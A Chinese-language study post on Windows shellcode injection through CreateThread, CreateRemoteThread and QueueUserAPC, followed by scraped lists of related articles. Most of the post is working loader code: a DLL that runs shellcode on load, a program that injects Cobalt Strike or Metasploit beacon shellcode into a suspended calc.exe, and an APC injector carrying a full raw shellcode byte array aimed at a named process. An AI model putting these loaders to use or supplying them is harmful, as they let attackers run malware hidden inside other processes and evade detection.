shellcode 注入执行技术学习

注入执行方式

  • CreateThread
  • CreateRemoteThread
  • QueueUserAPC

CreateThread是一种用于执行Shellcode的技术,而CreateRemoteThread和QueueUserAPC是Shellcode注入的形式。

以下是使用三种不同技术运行shellcode的过程的高级概述

CreateThread

  1. Allocate memory in the current process
  2. Copy shellcode into the allocated memory
  3. Modify the protections of the newly allocated memory to allow execution of code from within that memory space
  4. Create a thread with the base address of the allocated memory segment
  5. Wait on the thread handle to return

翻译:

1、在当前进程中分配内存
2、将shellcode复制到分配的内存中
3、修改新分配的内存的保护,以允许从该内存空间中执行代码
4、用分配的内存段的基地址创建一个线程
5、等待线程句柄返回

示例代码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include<windows.h>
#include<iostream>
HANDLE My_hThread = NULL;
unsigned char shellcode[] = "shellcode"; //CS或msf生成的shellcode
DWORD WINAPI ceshi(LPVOID pParameter)
{
__asm
{
mov eax, offset shellcode
jmp eax
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH://初次调用dll时执行下面代码
My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern"C" _declspec(dllexport) void test()
{
int a;
a = 0;
}

CreateRemoteThread

  1. Get the process ID of the process to inject into
  2. Open the target process
  3. Allocate executable memory within the target process
  4. Write shellcode into the allocated memory
  5. Create a thread in the remote process with the start address of the allocated memory segment

翻译:

1、获取要注入的进程的进程ID
2、打开目标进程
3、在目标进程内分配可执行内存
4、将shellcode写入分配的内存
5、使用分配的内存段的起始地址在远程进程中创建线程

示例代码:

#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include "iostream"
//隐藏运行程序时的cmd窗口
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std; //使用CS或msf生成的C语言格式的上线shellcode
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2..........."; BOOL injection()
{
wchar_t Cappname[MAX_PATH] = { 0 };
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE; //把基地址设置为自己shellcode数组的起始地址
lpMalwareBaseAddr = shellcode; //获取系统路径,拼接字符串找到calc.exe的路径
GetSystemDirectory(Cappname, MAX_PATH);
_tcscat(Cappname, L"\\calc.exe"); //打印注入提示
// printf("被注入的程序名:%S\r\n", Cappname); ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi)); //创建calc.exe进程
if (CreateProcess(Cappname, NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED//CREATE_SUSPENDED新进程的主线程会以暂停的状态被创建,直到调用ResumeThread函数被调用时才运行。
, NULL, NULL, &si, &pi) == 0)
{
return bRet;
}
//在
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
, NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE); if (lpnewVictimBaseAddr == NULL)
{
return bRet;
}
//远程线程注入过程
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL); hThread = CreateRemoteThread(pi.hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL); WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
return bRet;
} void help(char* proc)
{
// printf("%s:创建进程并将shellcode写入进程内存\r\n", proc);
} int main(int argc, char* argv[])
{
help(argv[0]);
injection();
}

QueueUserAPC

  1. Get the process ID of the process to inject into
  2. Open the target process
  3. Allocate memory within the target process
  4. Write shellcode into the allocated memory
  5. Modify the protections of the newly allocated memory to allow execution of code from within that memory space
  6. Open a thread in the remote process with the start address of the allocated memory segment
  7. Submit thread to queue for execution when it enters an “alertable” state
  8. Resume thread to enter “alertable” state

翻译:

1、获取要注入的进程的进程ID
2、打开目标进程
3、在目标进程内分配内存
4、将shellcode写入分配的内存
5、修改新分配的内存的保护,以允许从该内存空间中执行代码
6、使用分配的内存段的起始地址在远程进程中打开一个线程
7、进入“可更改”状态时将线程提交到队列中以供执行
8、恢复线程以进入“可更改”状态

示例代码:

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector> int main()
{
unsigned char buf[] = "\xE9\x8B\x01\x00\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x64\xA1\x30\x00\x00\x00\x85\xC0\x78\x0D\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x40\x53\x56\x8B\xD9\x57\x89\x5D\xF4\xE8\xCD\xFF\xFF\xFF\x8B\xF0\x33\xFF\x8B\x56\x3C\x39\x7C\x32\x7C\x75\x07\x33\xFF\xE9\x9C\x00\x00\x00\x8B\x44\x32\x78\x85\xC0\x74\xF1\x8B\x54\x30\x18\x85\xD2\x74\xE9\x8B\x4C\x30\x24\x8B\x5C\x30\x20\x03\xCE\x8B\x44\x30\x1C\x03\xDE\x03\xC6\x89\x4D\xFC\x33\xC9\x89\x45\xF8\x4A\x8B\x04\x8B\x03\xC6\x80\x38\x47\x75\x4E\x80\x78\x01\x65\x75\x48\x80\x78\x02\x74\x75\x42\x80\x78\x03\x50\x75\x3C\x80\x78\x04\x72\x75\x36\x80\x78\x05\x6F\x75\x30\x80\x78\x06\x63\x75\x2A\x80\x78\x07\x41\x75\x24\x80\x78\x08\x64\x75\x1E\x80\x78\x09\x64\x75\x18\x80\x78\x0A\x72\x75\x12\x80\x78\x0B\x65\x75\x0C\x80\x78\x0C\x73\x75\x06\x80\x78\x0D\x73\x74\x07\x41\x3B\xCA\x76\xA3\xEB\x0F\x8B\x45\xFC\x8B\x7D\xF8\x0F\xB7\x04\x48\x8B\x3C\x87\x03\xFE\x8B\x5D\xF4\x8D\x45\xC0\x89\x3B\x50\xC7\x45\xC0\x4C\x6F\x61\x64\xC7\x45\xC4\x4C\x69\x62\x72\xC7\x45\xC8\x61\x72\x79\x41\xC6\x45\xCC\x00\xE8\xF9\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x8D\x4D\xDC\x89\x43\x04\x51\x8D\x4D\xE8\xC7\x45\xE8\x55\x73\x65\x72\x51\xC7\x45\xEC\x33\x32\x2E\x64\x66\xC7\x45\xF0\x6C\x6C\xC6\x45\xF2\x00\xC7\x45\xDC\x4D\x65\x73\x73\xC7\x45\xE0\x61\x67\x65\x42\xC7\x45\xE4\x6F\x78\x41\x00\xFF\xD0\x50\x8B\x03\xFF\xD0\x89\x43\x08\x8D\x45\xD0\x50\xC7\x45\xD0\x43\x72\x65\x61\xC7\x45\xD4\x74\x65\x46\x69\xC7\x45\xD8\x6C\x65\x41\x00\xE8\x94\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x5F\x5E\x89\x43\x0C\x5B\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x24\x8D\x4D\xDC\xE8\x92\xFE\xFF\xFF\x6A\x00\x8D\x45\xFC\xC7\x45\xEC\x48\x65\x6C\x6C\x50\x8D\x45\xEC\x66\xC7\x45\xF0\x6F\x21\x50\x6A\x00\xC6\x45\xF2\x00\xC7\x45\xFC\x54\x69\x70\x00\xFF\x55\xE4\x6A\x00\x6A\x00\x6A\x02\x6A\x00\x6A\x00\x68\x00\x00\x00\x40\x8D\x45\xF4\xC7\x45\xF4\x31\x2E\x74\x78\x50\x66\xC7\x45\xF8\x74\x00\xFF\x55\xE8\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC"; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
} victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
printf("shellAddress is: %p\n", shellAddress); if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
} for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
printf("apcRoutine is: %p------>threadId:%d\n", apcRoutine, threadId);
Sleep(1000 * 2);
} return 0;
}

参考资料

你可以在以下链接学到更多知识

https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html

https://github.com/LOLBAS-Project/LOLBAS

https://github.com/fireeye/DueDLLigence

https://mp.weixin.qq.com/s/J78CPtHJX5ouN6fxVxMFgg

https://blog.csdn.net/qq_41874930/article/details/107888800

https://www.jianshu.com/p/bdd302d1ffa8

https://www.cnblogs.com/theseventhson/p/13199381.html

https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection

shellcode 注入执行技术学习的更多相关文章

  1. Android so注入(inject)和Hook技术学习(三)——Got表hook之导出表hook

    前文介绍了导入表hook,现在来说下导出表的hook.导出表的hook的流程如下.1.获取动态库基值 void* get_module_base(pid_t pid, const char* modu ...

  2. 20145314郑凯杰《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

    20145314郑凯杰<网络对抗技术>可选实验 shellcode注入与Return-to-libc攻击实验 1.0 实践内容 Return-to-libc攻击是一种特殊的缓冲区溢出攻击, ...

  3. 20145320《网络对抗》注入Shellcode并执行

    20145320注入Shellcode并执行 准备一段Shellcode 首先先准备一段C语言代码:这段代码其实和我们的shell功能基本一样 为了之后能够看到反汇编的结果,这次采用的静态编译.正常返 ...

  4. 逆向与BOF基础——注入shellcode并执行&Return-to-libc

    逆向与BOF基础--注入shellcode并执行 准备阶段 下载安装execstack. 本次实验实验的shellcode是心远的文章中生成的代码,即\x31\xc0\x50\x68\x2f\x2f\ ...

  5. 20145305 《网络对抗》注入Shellcode并执行&Return-to-libc 攻击实验

    注入Shellcode并执行 实践指导书 实践过程及结果截图 准备一段Shellcode 我这次实践和老师用的是同一个 设置环境 构造要注入的payload 我决定将返回地址改为0xffffd3a0 ...

  6. 20145335郝昊《网络攻防》Bof逆向基础——ShellCode注入与执行

    20145335郝昊<网络攻防>Bof逆向基础--ShellCode注入与执行 实验原理 关于ShellCode:ShellCode是一段代码,作为数据发送给受攻击服务器,是溢出程序和蠕虫 ...

  7. 20145211《网络对抗》注入Shellcode并执行&&Return-to-libc攻击

    Shellcode注入 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢出,覆盖成为指向 shellcode的地址. ...

  8. 20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

    1.0 实践内容 Return-to-libc攻击是一种特殊的缓冲区溢出攻击,通常用于攻击有“栈不可执行”保护措施的目标系统.本实验中我们放弃了让漏洞程序执行堆栈中的shellcode,将用syste ...

  9. 20145231熊梓宏 《网络对抗》 Bof逆向基础.shellcode注入

    20145231网络对抗<逆向及Bof基础>shellcode注入 实验目的与要求 1.本次实践的对象是一个名为pwn1的linux可执行文件. 2.若该程序正常执行,则main函数会调用 ...

随机推荐

  1. electron vue

    vue create project vue add vue-cli-plugin-electron-builder node_modules\@vue\cli-service\lib\config\ ...

  2. 【主流技术】Mybatis Plus的理解与应用

    前言 mybatis plus是一个mybatis的增强工具,在其基础上只做增强不做改变.作为开发中常见的第三方组件,学习并应用在项目中可以节省开发时间,提高开发效率. 官方文档地址:MyBatis- ...

  3. Eclipse历史版本下载和选择对应的java版本

    下载Eclipse 官网: https://www.eclipse.org/ 直达 直接进入连接:https://www.eclipse.org/downloads/packages/installe ...

  4. 视图模板引擎——Vue【双向绑定】原理剖析

    首先我们来了解一下MVC.MVP.MVMM这三大架构模式在前端角度上的理解. MVC分别是 Model(模型).View(视图).Controller(控制器)三个模块.View(视图层)最主要完成前 ...

  5. docker安装node

    #1.拉取镜像 docker pull node:latest #2.运行 docker run -itd --name node-test --restart=always node #--rest ...

  6. 写for循环快捷生成方式

    在编写代码过程常常会使用到for循环,这里给大家介绍一种快捷写法len.fori+回车键(其中len为循环长度)举个栗子,编写10次循环 8.fori

  7. 全国30m精度二级分类土地利用数据

    ​数据下载链接:数据下载链接 引言 全国土地利用数据产品是以Landsat TM/ETM/OLI遥感影像为主要数据源,经过影像融合.几何校正.图像增强与拼接等处理后,通过人机交互目视解译的方法,将全国 ...

  8. Lambda表达式的无参数无返回值的练习和Lambda表达式有参数有返回值的练习

    使用Lambda(无参无返回) 说明:给定一个厨师(Cook)接口,内含唯一的抽象方法makeFood,且无参数.无返回值.如下: public interface Cook{ public abst ...

  9. APISpace 未来7天生活指数API接口 免费好用

    随着经济的发展,我们的生活水平在不断的提高,生活指数在我们的生活中也越来越受到关注,根据当天的生活指数,我们就可以知道在今天我们可以干什么比较好.   未来7天生活指数API,支持国内3400+个城市 ...

  10. 5-4 Seata 分布式事务管理

    下载Seata https://github.com/seata/seata/releases https://github.com/seata/seata/releases/download/v1. ...